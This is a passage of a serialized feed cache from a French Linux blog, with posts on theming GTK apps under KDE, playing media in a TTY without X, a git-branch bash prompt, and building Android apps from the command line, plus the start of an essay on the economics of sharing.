";s:7:"dateiso";s:15:"20120515_220819";}s:15:"20120515_200819";a:7:{s:5:"title";s:50:"Configurer le thème des applications GTK sous KDE";s:4:"link";s:79:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde";s:4:"guid";s:79:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde";s:7:"pubDate";s:25:"2012-05-15T20:08:19+02:00";s:11:"description";s:0:"";s:7:"content";s:4070:"Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout (sauf si vous appelez “thème” l’apparence de Windows 95).
Voici par exemple à quoi ressemble GIMP :
Le problème doit être résolu deux fois : une première pour les applications utilisant GTK2 et une seconde pour celles utilisant GTK3.
Pour GTK2, c’est facile. Sous Debian :
sudo apt-get install gtk2-engines-oxygen gtk-chtheme
(le nom des paquets peut varier selon votre distribution)
Il ne reste alors plus qu’à exécuter :
gtk-chtheme
et choisir le thème oxygen-gtk :

Le thème des applications telles que Firefox/Iceweasel, GIMP, Ario ou Eclipse sera alors totalement cohérent avec celui des applications prévues pour KDE :
Pour pousser plus loin l’intégration de Firefox/Iceweasel, il y a même un module complémentaire.
Pour GTK3, ce devrait être presque pareil… sauf que le paquet
gtk3-engines-oxygen (ou oxygen-gtk3) n’est pas encore dans les dépôts
Debian (il est par contre dans d’autres distributions, comme Ubuntu ou
Arch Linux).
Il est bien sûr possible de télécharger les sources pour l’installer manuellement.
Mais nous pouvons nous contenter du thème natif de Gnome. Pour le configurer,
il suffit d’installer gnome-themes-standard :
sudo apt-get install gnome-themes-standard
et de créer un fichier ~/.config/gtk-3.0/settings.ini contenant :
[Settings]
gtk-theme-name=Adwaita
gtk-fallback-icon-theme=gnome
(voir GtkSettings)
Gedit avant :

Gedit après :

En attendant qu’Oxygen GTK3 soit disponible dans les dépôts, c’est mieux que rien…
EDIT : oxygen-gtk3 est maintenant disponible dans les dépôts.
Saviez-vous qu’il était possible de lire des images et des vidéos dans un TTY, sans serveur X ? Je ne parle pas de les afficher en ASCII-art, mais bien de les afficher « graphiquement » :

Je ne le savais pas jusqu’à aujourd’hui. En fait, c’est possible grâce à des programmes qui écrivent directement dans le framebuffer.
Pour tester les outils suivants, lancez un TTY grâce aux raccourcis Ctrl+Alt+F[1-6]. Pour revenir à votre session graphique, faites Ctrl+Alt+F7 (sur certaines distributions, par défaut la session graphique est plutôt accessible avec Ctrl+Alt+F1, Ctrl+Alt+F8 ou Ctrl+Alt+F9, essayez…).
Pour afficher des images, il faut installer le paquet fbi (framebuffer imageviewer) :
sudo apt-get install fbi
Puis simplement exécuter :
fbi monimage.jpg
ou même
fbi *.jpg
(PgUp et PgDown permettent de naviguer entre les images)
Cet outil est vraiment très rapide (sauf pour le zoom). C’est un peu l’équivalent de feh qui, lui, fonctionne en mode graphique.
Pour les vidéos, nous avons besoin de MPlayer :
sudo apt-get install mplayer
En lançant dans un TTY :
mplayer mavidéo.avi
MPlayer choisit le pilote fbdev. Nous pouvons aussi le choisir explicitement :
mplayer -vo fbdev mavidéo.avi
Par contre, la vidéo s’affiche à sa taille originale, alors que nous la voulons en plein écran. Il faut donc la mettre à l’échelle, grâce aux paramètres de mplayer. Sur un écran 1680×1050 par exemple :
mplayer -fs -vf scale=1680:-3 mavidéo.avi
-3 permet de calculer la seconde composante à partir de la première et de l’aspect-ratio. C’est dans le man :
0: largeur/hauteur dimmensionnées à d_width/d_height -1: largeur/hauteur originales -2: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur redimensionné. -3: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur original. -(n+8): Comme -n ci-dessus, mais en arrondissant les dimensions au plus proche multiple de 16.
Sur mon pc portable, j’arrive sans problème à lire dans un TTY une vidéo 1080p (j’ai testé avec Big Buck Bunny en MP4, redimensionnée lors de la lecture à la taille de mon écran, 1680×1050).
Par contre, sur une machine moins puissante (une EeeBox, qui hébergeait ce blog par le passé), MPlayer saccade, même sur des vidéos basse définition, que VLC lit sans problèmes.
Pour améliorer les performances de lecture de MPlayer, il est possible de changer l’algorithme de zoom logiciel, grâce à l’option -sws. Par exemple, pour utiliser bilinéaire rapide au lieu de bicubique :
mplayer -fs -vf scale=1680:-3 -sws 0 mavidéo.avi
Avec ce paramètre, ça ne saccade plus.
Cependant, sur la EeeBox, dans ce cas les couleurs sont incorrectes apparemment à cause d’un bug de pilote vidéo Intel. J’ai donc quand même installé un serveur X avec un gestionnaire de fenêtres minimaliste, awesome. Mais c’est une autre histoire…

Je vous parlais d’ASCII-art au début du billet, il est également possible de lire les images ou les vidéos en ASCII (c’est juste moins joli), grâce à des commandes d’une élégance toute particulière.
Pour les images, nous pouvons installer le paquet caca-utils
sudo apt-get install caca-utils
Puis utiliser cacaview :
cacaview monimage.jpg
Pour les vidéos :
mplayer -vo caca mavidéo.avi
Je n’en revenais pas qu’il soit possible de lire des vidéos sans serveur X.
Sur une machine destinée à une utilisation multimédia (branchée sur la TV par exemple), il n’y a donc nullement besoin d’un serveur X (paradoxalement).
Saviez-vous qu’il était possible de lire des images et des vidéos dans un TTY, sans serveur X ? Je ne parle pas de les afficher en ASCII-art, mais bien de les afficher “graphiquement” :

Je ne le savais pas jusqu’à aujourd’hui. En fait, c’est possible grâce à des programmes qui écrivent directement dans le framebuffer.
Pour tester les outils suivants, lancez un TTY grâce aux raccourcis Ctrl+Alt+F[1-6]. Pour revenir à votre session graphique, faites Ctrl+Alt+F7 (sur certaines distributions, par défaut la session graphique est plutôt accessible avec Ctrl+Alt+F1, Ctrl+Alt+F8 ou Ctrl+Alt+F9, essayez…).
Pour afficher des images, il faut installer le paquet fbi (framebuffer
imageviewer) :
sudo apt-get install fbi
Puis simplement exécuter :
fbi monimage.jpg
ou même
fbi *.jpg
(PgUp et PgDown permettent de naviguer entre les images)
Cet outil est vraiment très rapide (sauf pour le zoom). C’est un peu l’équivalent de feh qui, lui, fonctionne en mode graphique.
Pour les vidéos, nous avons besoin de MPlayer :
sudo apt-get install mplayer
En lançant dans un TTY :
mplayer mavidéo.avi
MPlayer choisit le pilote fbdev. Nous pouvons aussi le choisir
explicitement :
mplayer -vo fbdev mavidéo.avi
Par contre, la vidéo s’affiche à sa taille originale, alors que nous la voulons
en plein écran. Il faut donc la mettre à l’échelle, grâce aux paramètres de
mplayer. Sur un écran 1680×1050 par exemple :
mplayer -fs -vf scale=1680:-3 mavidéo.avi
-3 permet de calculer la seconde composante à partir de la première et de
l’aspect-ratio. C’est dans le man :
0: largeur/hauteur dimmensionnées à d_width/d_height
-1: largeur/hauteur originales
-2: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur
redimensionné.
-3: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur
original.
-(n+8): Comme -n ci-dessus, mais en arrondissant les dimensions au plus
proche multiple de 16.
Sur mon pc portable, j’arrive sans problème à lire dans un TTY une vidéo 1080p (j’ai testé avec Big Buck Bunny en MP4, redimensionnée lors de la lecture à la taille de mon écran, 1680×1050).
Par contre, sur une machine moins puissante (une EeeBox, qui hébergeait ce
blog par le passé), MPlayer saccade, même sur des vidéos basse
définition, que VLC lit sans problèmes. Pour améliorer les performances de
lecture de MPlayer, il est possible de changer l’algorithme de zoom logiciel,
grâce à l’option -sws. Par exemple, pour utiliser bilinéaire rapide au lieu
de bicubique :
mplayer -fs -vf scale=1680:-3 -sws 0 mavidéo.avi
Avec ce paramètre, ça ne saccade plus.
Cependant, sur la EeeBox, dans ce cas les couleurs sont incorrectes apparemment à cause d’un bug de pilote vidéo Intel. J’ai donc quand même installé un serveur X avec un gestionnaire de fenêtres minimaliste, awesome. Mais c’est une autre histoire…
Je vous parlais d’ASCII-art au début du billet, il est également possible de lire les images ou les vidéos en ASCII (c’est juste moins joli), grâce à des commandes d’une élégance toute particulière.
Pour les images, nous pouvons installer le paquet caca-utils
sudo apt-get install caca-utils
Puis utiliser cacaview :
cacaview monimage.jpg
Pour les vidéos :
mplayer -vo caca mavidéo.avi

Je n’en revenais pas qu’il soit possible de lire des vidéos sans serveur X. Sur une machine destinée à une utilisation multimédia (branchée sur la TV par exemple), il n’y a donc nullement besoin d’un serveur X (paradoxalement).
";s:7:"dateiso";s:15:"20120407_230155";}s:15:"20120405_012255";a:7:{s:5:"title";s:20:"Prompt Bash pour GIT";s:4:"link";s:51:"http://blog.rom1v.com/2012/04/prompt-bash-pour-git/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3893";s:7:"pubDate";s:31:"Wed, 04 Apr 2012 23:22:55 +0000";s:11:"description";s:355:"J’utilise GIT depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des […]";s:7:"content";s:6438:"J’utilise GIT depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des branches (et bien plus encore).
Le but de ce billet est de répondre à un problème particulier : par manque d’attention, il m’est arrivé plusieurs fois de commiter des changements sur une mauvaise branche (j’étais persuadé d’être sur une branche, en fait j’étais sur une autre). Ce n’est pas très grave (on peut s’en sortir), mais c’est pénible.
Je souhaiterais donc avoir le nom de la branche dans le prompt bash.
Des solutions existent déjà : le paquet git embarque même un script qui répond au besoin. Certains utilisent aussi des scripts personnalisés. Mais aucun de ceux que j’ai trouvés ne me convenait. J’ai donc écrit mon propre script.
J’ai commencé par une version simple, qui ajoute en couleur @nomdelabranche à la fin du prompt. Un exemple vaut mieux qu’un long discours :
rom@rom-laptop:~/dev$ cd myproject/ rom@rom-laptop:~/dev/myproject@master$ git checkout testing Switched to branch 'testing' rom@rom-laptop:~/dev/myproject@testing$ cd img rom@rom-laptop:~/dev/myproject/img@testing$
Dans une arborescence ayant plusieurs projets GIT imbriqués (dans le cas de l’utilisation de sous-modules), la branche des projets parents n’est pas affichée :
rom@rom-laptop:~/dev$ cd mybigproject/ rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/ rom@rom-laptop:~/dev/mybigproject/submodule@master$ git checkout exp Switched to branch 'exp' rom@rom-laptop:~/dev/mybigproject/submodule@exp$ cd .. rom@rom-laptop:~/dev/mybigproject@master$
Dans cette version simple, le nom de la branche est toujours affiché à la fin. Cela ne me convient pas, je le voudrais toujours à la racine du projet en question. C’est ce que permet la version améliorée.
Voici le résultat avec les mêmes commandes :
rom@rom-laptop:~/dev$ cd myproject/ rom@rom-laptop:~/dev/myproject@master$ git checkout testing Switched to branch 'testing' rom@rom-laptop:~/dev/myproject@testing$ cd img rom@rom-laptop:~/dev/myproject@testing/img$
Et avec des sous-modules, la branche des projets parents est affichée :
rom@rom-laptop:~/dev$ cd mybigproject/ rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/ rom@rom-laptop:~/dev/mybigproject@master/submodule@master$ git checkout exp Switched to branch 'exp' rom@rom-laptop:~/dev/mybigproject@master/submodule@exp$ cd .. rom@rom-laptop:~/dev/mybigproject@master$
Le script, sous licence WTFPL, est disponible sur un dépôt git :
git clone http://git.rom1v.com/gitbashprompt.git
(ou sur github)
Une fois cloné, éditez le fichier ~/.bashrc pour remplacer l’initialisation de la variable PS1 :
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
par :
. your_cloned_repo/gitbashprompt
Pour tester, ouvrir un nouveau terminal.
Tout d’abord, je suis content d’avoir exactement le comportement que je souhaitais pour mon GIT.
Ensuite, j’ai découvert le fonctionnement du prompt, avec notamment les subtilités d’échappement de caractères de la variable PS1 et la prise en compte des caractères de contrôle « \[ » et « \] ».
Enfin, je me suis enfin décidé à étudier la gestion des couleurs de Bash (qui, à première vue, est assez repoussante, il faut bien l’avouer). Mes scripts seront donc plus jolis à l’avenir
J’utilise git depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des branches (et bien plus encore).
Le but de ce billet est de répondre à un problème particulier : par manque d’attention, il m’est arrivé plusieurs fois de commiter des changements sur une mauvaise branche (j’étais persuadé d’être sur une branche, en fait j’étais sur une autre). Ce n’est pas très grave (on peut s’en sortir), mais c’est pénible.
Je souhaiterais donc avoir le nom de la branche dans le prompt bash.
Des solutions existent déjà : le paquet git embarque même un script
qui répond au besoin. Certains utilisent aussi des scripts
personnalisés. Mais aucun de ceux que j’ai trouvés ne me
convenait. J’ai donc écrit mon propre script.
J’ai commencé par une version simple, qui ajoute en couleur @nomdelabranche à
la fin du prompt. Un exemple vaut mieux qu’un long discours :
rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject/img@testing$
Dans une arborescence ayant plusieurs projets GIT imbriqués (dans le cas de l’utilisation de sous-modules), la branche des projets parents n’est pas affichée :
rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$
Dans cette version simple, le nom de la branche est toujours affiché à la fin. Cela ne me convient pas, je le voudrais toujours à la racine du projet en question. C’est ce que permet la version améliorée.
Voici le résultat avec les mêmes commandes :
rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject@testing/img$
Et avec des sous-modules, la branche des projets parents est affichée :
rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject@master/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject@master/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$
En image :

Le script, sous licence WTFPL, est disponible sur un dépôt git :
git clone http://git.rom1v.com/gitbashprompt.git
(ou sur github)
Une fois cloné, éditez le fichier ~/.bashrc pour remplacer l’initialisation de
la variable PS1 :
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ 'par :
. full/path/to/your/gitbashpromptPour tester, ouvrir un nouveau terminal.
Tout d’abord, je suis content d’avoir exactement le comportement que je souhaitais pour mon git.
Ensuite, j’ai découvert le fonctionnement du prompt, avec notamment les
subtilités d’échappement de caractères de la variable PS1 et la
prise en compte des caractères de contrôle \[ et \].
Enfin, je me suis enfin décidé à étudier la gestion des couleurs de Bash (qui, à première vue, est assez repoussante, il faut bien l’avouer). Mes scripts seront donc plus jolis à l’avenir ;-)
";s:7:"dateiso";s:15:"20120404_232255";}s:15:"20120331_224156";a:7:{s:5:"title";s:28:"Android en ligne de commande";s:4:"link";s:59:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2944";s:7:"pubDate";s:31:"Sat, 31 Mar 2012 20:41:56 +0000";s:11:"description";s:381:"Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT). Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier. Installation […]";s:7:"content";s:11850:"
Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT).
Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier.
Avant tout, nous avons besoin du SDK Android :
wget http://dl.google.com/android/android-sdk_r17-linux.tgz tar xf android-sdk_r17-linux.tgz sudo mv /android-sdk-linux /opt
Sur un système 64 bits, ia32-libs est nécessaire (le SDK n’est disponible qu’en 32 bits) :
sudo apt-get install ia32-libs
Java et Ant doivent également être installés :
sudo apt-get install openjdk-6-jdk ant
Pour accéder facilement aux outils du SDK Android, il est préférable de rajouter leurs répertoires dans le PATH, en ajoutant la ligne suivante à la fin de ~/.bashrc :
PATH="$PATH:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools"
Ouvrir un nouveau terminal, et exécuter :
android
Une fenêtre s’ouvre, permettant d’installer de nouveaux packages.
Sélectionner « Available packages » et installer les « Tools » ainsi que les « SDK Platforms » pour les versions souhaitées, puis cliquer sur Install packages :
Il est aussi possible de créer un AVD (Android Virtual Device) à partir du menu Tools → Manage AVDs…. Dans la fenêtre qui s’ouvre, cliquer sur New…, puis configurer le téléphone et lui donner un nom :

Les AVD sont indifféremment configurables ici ou à partir d’Eclipse (au final, ils seront stockés dans ~/.android/avd).
Pour créer un nouveau projet :
android create project \ -p path \ -t target \ -n name \ -k package \ -a activity
Par exemple :
android create project -p HelloWorld -t 1 -n HelloWorld -k com.rom1v.helloworld -a HelloWorld
Le projet généré est un hello world fonctionnel.
Pour connaître la liste des targets disponibles avec leurs ids :
$ android list targets
Available Android targets:
----------
id: 1 or "android-7"
Name: Android 2.1
Type: Platform
API level: 7
Revision: 3
Skins: WVGA854, WQVGA432, QVGA, HVGA, WQVGA400, WVGA800 (default)
ABIs : armeabi
----------
id: 2 or "android-13"
Name: Android 3.2
Type: Platform
API level: 13
Revision: 1
Skins: WXGA (default)
ABIs : armeabi
…
Pour modifier un projet existant :
android update project \ -p path \ -t target \ -n name
Par exemple, pour en changer la target (ici celle qui a pour id 2) :
android update project -p HelloWorld -t 2
Pour le compiler ou l’installer sur le téléphone, toutes les tâches Ant ont été générées (dans un fichier build.xml à la racine du projet). Voici les principales :
Android Ant Build. Available targets:
help: Displays this help.
clean: Removes output files created by other targets.
compile: Compiles project's .java files into .class files.
debug: Builds the application and signs it with a debug key.
release: Builds the application. The generated apk file must be
signed before it is published.
install: Installs/reinstalls the debug package onto a running
emulator or device.
If the application was previously installed, the
signatures must match.
uninstall: Uninstalls the application from a running emulator or
device.
Par exemple, pour générer un APK signé avec une clé de debug :
ant debug
Le fichier sera créé à l’emplacement bin/HelloWorld-debug.apk.
Dans la majorité des cas, nous voulons que le projet soit utilisable à la fois dans Eclipse (pour développer) et en ligne de commande (pour automatiser la compilation, le déploiement…).
Eclipse ne génère pas le script Ant lors de la création d’un projet Android. Heureusement, il est très simple de le générer manuellement :
android update project -t target -n nom_du_projet -p répertoire_du_projet
Si vous avez créé un projet entièrement en ligne de commande et que vous décidez de l’importer par la suite dans Eclipse (parce qu’un IDE, c’est quand même bien pratique), c’est possible également.
Le projet restera dans le répertoire où il se trouve, donc si vous le voulez dans votre workspace Eclipse, déplacez-le maintenant.
Ensuite, il ne faut pas importer, mais créer un nouveau projet :
File → New → Android Project, sélectionner Create project from existing source et indiquer le chemin du projet dans Location.
Un projet Android s’exécute soit sur un téléphone physique, soit sur un émulateur.
Pour démarrer un émulateur :
emulator -avd NomAVD
Par exemple :
emulator -avd MyPhone
Pour utiliser le téléphone branché en USB plutôt que l’émulateur, il est nécessaire d’activer l’option Paramètres → Applications → Développement → Débogage USB.
S’il n’est pas reconnu, c’est peut-être un problème de droits.
Dans ce cas, trouver le Vendor ID du matériel sur cette page puis créer un fichier /etc/udev/rules.d/51-android.rules (sauf sous Debian) contenant :
SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"
(remplacez XXXX par le Vendor ID)
Alternativement, il est possible de donner les droits à n’importe quel matériel. Pour cela, il suffit de ne pas filtrer par Vendor ID, et d’écrire simplement :
SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"
Il suffit d’utiliser les tâches Ant install et uninstall :
ant install
Dans ce cas, un seul périphérique doit être présent dans la liste :
$ adb devices List of devices attached emulator-5554 device
adb (Android Debug Bridge) permet de communiquer avec le téléphone ou l’émulateur.
Pour installer une application :
adb install fichier.apk
Si à la fois le téléphone et l’émulateur sont détectés, il faut choisir grâce à -d ou -e (respectivement) :
adb -e install fichier.apk
Pour désinstaller, il faut connaître le nom du package (celui défini dans AndroidManifest.xml).
adb uninstall le.package.de.lapplication
Astuce : Pour extraire le nom du package à partir d’un fichier.apk :
aapt d badging fichier.apk | grep ^package
Pour signer une application, nous avons tout d’abord besoin d’un keystore. Pour en créer un :
keytool -genkey -v -keystore ~/.android/rom.keystore -alias rom -validity 10000
(Google recommande de choisir une validité de plus de 25 ans, d’où les 10000 jours dans la commande ci-dessus)
Pour permettre à Ant de signer, il suffit de lui indiquer la clé à utiliser dans ant.properties (à la racine du projet) :
key.store=/home/rom/.android/rom.keystore key.alias=rom
Ainsi, il signera automatiquement (en demandant le mot de passe) lors de l’exécution de :
ant release
Il est également possible de générer un APK non signé (par Ant, qui génère un fichier monprojet-unsigned.apk), et de le signer manuellement plus tard :
jarsigner -verbose -keystore ~/.android/rom.keystore monprojet-unsigned.apk rom
Pour vérifier que la signature a bien fonctionné :
jarsigner -verbose -verify -certs monprojet-unsigned.apk
(si c’est le cas, le fichier monprojet-unsigned.apk peut être renommé en monprojet-unaligned.apk)
Il ne reste plus qu’à aligner le fichier final :
zipalign -v 4 monprojet-unaligned.apk monprojet.apk
Merci aux billets de Freelan et de DMathieu dont je me suis beaucoup inspiré, en plus de la documentation officielle (incontournable).
";s:7:"dateiso";s:15:"20120331_224156";}s:15:"20120331_204156";a:7:{s:5:"title";s:28:"Android en ligne de commande";s:4:"link";s:58:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande";s:4:"guid";s:58:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande";s:7:"pubDate";s:25:"2012-03-31T20:41:56+02:00";s:11:"description";s:0:"";s:7:"content";s:12102:"Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT).
EDIT : Il a été écrit à l’époque où Android n’utilisait pas Gradle. Il est maintenant obsolète.
Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier.
Avant tout, nous avons besoin du SDK Android :
wget http://dl.google.com/android/android-sdk_r17-linux.tgz
tar xf android-sdk_r17-linux.tgz
sudo mv /android-sdk-linux /opt
Sur un système 64 bits, ia32-libs est nécessaire (le SDK n’est disponible
qu’en 32 bits) :
sudo apt-get install ia32-libs
Java et Ant doivent également être installés :
sudo apt-get install openjdk-6-jdk ant
Pour accéder facilement aux outils du SDK Android, il est préférable de
rajouter leurs répertoires dans le PATH, en ajoutant la ligne suivante à la
fin de ~/.bashrc :
PATH="$PATH:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools"
Ouvrir un nouveau terminal, et exécuter :
android
Une fenêtre s’ouvre, permettant d’installer de nouveaux packages.
Sélectionner “Available packages” et installer les “Tools” ainsi que les “SDK Platforms” pour les versions souhaitées, puis cliquer sur Install packages :

Il est aussi possible de créer un AVD (Android Virtual Device) à partir du menu Tools → Manage AVDs…. Dans la fenêtre qui s’ouvre, cliquer sur New…, puis configurer le téléphone et lui donner un nom :

Les AVD sont indifféremment configurables ici ou à partir d’Eclipse (au
final, ils seront stockés dans ~/.android/avd).
Pour créer un nouveau projet :
android create project \
-p path> \
-t target \
-n name \
-k package \
-a activity
Par exemple :
android create project -p HelloWorld -t 1 -n HelloWorld \
-k com.rom1v.helloworld -a HelloWorld
Le projet généré est un hello world fonctionnel.
Pour connaître la liste des targets disponibles avec leurs _id_s :
$ android list targets
Available Android targets:
----------
id: 1 or "android-7"
Name: Android 2.1
Type: Platform
API level: 7
Revision: 3
Skins: WVGA854, WQVGA432, QVGA, HVGA, WQVGA400, WVGA800 (default)
ABIs : armeabi
----------
id: 2 or "android-13"
Name: Android 3.2
Type: Platform
API level: 13
Revision: 1
Skins: WXGA (default)
ABIs : armeabi
Pour modifier un projet existant :
android update project \
-p path \
-t target \
-n name
Par exemple, pour en changer la target (ici celle qui a pour id 2) :
android update project -p HelloWorld -t 2
Pour le compiler ou l’installer sur le téléphone, toutes les tâches Ant ont
été générées (dans un fichier build.xml à la racine du projet). Voici les
principales :
Android Ant Build. Available targets:
help: Displays this help.
clean: Removes output files created by other targets.
compile: Compiles project's .java files into .class files.
debug: Builds the application and signs it with a debug key.
release: Builds the application. The generated apk file must be
signed before it is published.
install: Installs/reinstalls the debug package onto a running
emulator or device.
If the application was previously installed, the
signatures must match.
uninstall: Uninstalls the application from a running emulator or
device.
Par exemple, pour générer un APK signé avec une clé de debug :
ant debug
Le fichier sera créé à l’emplacement bin/HelloWorld-debug.apk.
Dans la majorité des cas, nous voulons que le projet soit utilisable à la fois dans Eclipse (pour développer) et en ligne de commande (pour automatiser la compilation, le déploiement…).
Eclipse ne génère pas le script Ant lors de la création d’un projet Android. Heureusement, il est très simple de le générer manuellement :
android update project -t target -n nom_du_projet \
-p répertoire_du_projet
Si vous avez créé un projet entièrement en ligne de commande et que vous décidez de l’importer par la suite dans Eclipse (parce qu’un IDE, c’est quand même bien pratique), c’est possible également.
Le projet restera dans le répertoire où il se trouve, donc si vous le voulez dans votre workspace Eclipse, déplacez-le maintenant.
Ensuite, il ne faut pas importer, mais créer un nouveau projet : File → New → Android Project, sélectionner Create project from existing source et indiquer le chemin du projet dans Location.
Un projet Android s’exécute soit sur un téléphone physique, soit sur un émulateur.
Pour démarrer un émulateur :
emulator -avd NomAVD
Par exemple :
emulator -avd MyPhone
Pour utiliser le téléphone branché en USB plutôt que l’émulateur, il est nécessaire d’activer l’option Paramètres → Applications → Développement → Débogage USB.
S’il n’est pas reconnu, c’est peut-être un problème de droits. Dans ce cas,
trouver le Vendor ID du matériel sur cette page puis créer un
fichier /etc/udev/rules.d/51-android.rules (sauf sous Debian)
contenant :
SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"
(remplacez XXXX par le Vendor ID)
Alternativement, il est possible de donner les droits à n’importe quel matériel. Pour cela, il suffit de ne pas filtrer par Vendor ID, et d’écrire simplement :
SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"
Il suffit d’utiliser les tâches Ant install et uninstall :
ant install
Dans ce cas, un seul périphérique doit être présent dans la liste :
$ adb devices
List of devices attached
emulator-5554 device
adb (Android Debug Bridge) permet de communiquer avec le téléphone ou
l’émulateur.
Pour installer une application :
adb install fichier.apk
Si à la fois le téléphone et l’émulateur sont détectés, il faut choisir grâce à
-d ou -e (respectivement) :
adb -e install fichier.apk
Pour désinstaller, il faut connaître le nom du package (celui défini dans AndroidManifest.xml).
adb uninstall le.package.de.lapplication
Pour extraire le nom du package à partir d’un fichier.apk :
aapt d badging fichier.apk | grep ^package
Pour signer une application, nous avons tout d’abord besoin d’un keystore. Pour en créer un :
keytool -genkey -v -keystore ~/.android/rom.keystore -alias rom -validity 10000
(Google recommande de choisir une validité de plus de 25 ans, d’où les 10000 jours dans la commande ci-dessus)
Pour permettre à Ant de signer, il suffit de lui indiquer la clé à utiliser
dans ant.properties (à la racine du projet) :
key.store=/home/rom/.android/rom.keystore
key.alias=rom
Il est également possible de pré-remplir les mots de passe :
key.store.password=PASSWORD
key.alias.password=PASSWORD
Ainsi, il signera automatiquement lors de l’exécution de :
ant release
Il est également possible de générer un APK non signé (par Ant, qui génère un
fichier monprojet-unsigned.apk), et de le signer manuellement plus
tard :
jarsigner -verbose -keystore ~/.android/rom.keystore monprojet-unsigned.apk rom
La clé de debug générée par le SDK se trouve dans
~/.android/debug.keystore, son alias est androiddebugkey et son mot de passe
est android.
Pour vérifier que la signature a bien fonctionné :
jarsigner -verbose -verify -certs monprojet-unsigned.apk
(si c’est le cas, le fichier monprojet-unsigned.apk peut être renommé en
monprojet-unaligned.apk)
Il ne reste plus qu’à aligner le fichier final :
zipalign -v 4 monprojet-unaligned.apk monprojet.apk
Merci aux billets de Freelan et de DMathieu dont je me suis beaucoup inspiré, en plus de la documentation officielle (incontournable).
";s:7:"dateiso";s:15:"20120331_204156";}s:15:"20120129_155453";a:7:{s:5:"title";s:42:"L’argument économique contre le partage";s:4:"link";s:69:"http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3735";s:7:"pubDate";s:31:"Sun, 29 Jan 2012 14:54:53 +0000";s:11:"description";s:409:"Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ? Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul […]";s:7:"content";s:4140:"Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ?
Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul impliquent un prix nul. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.
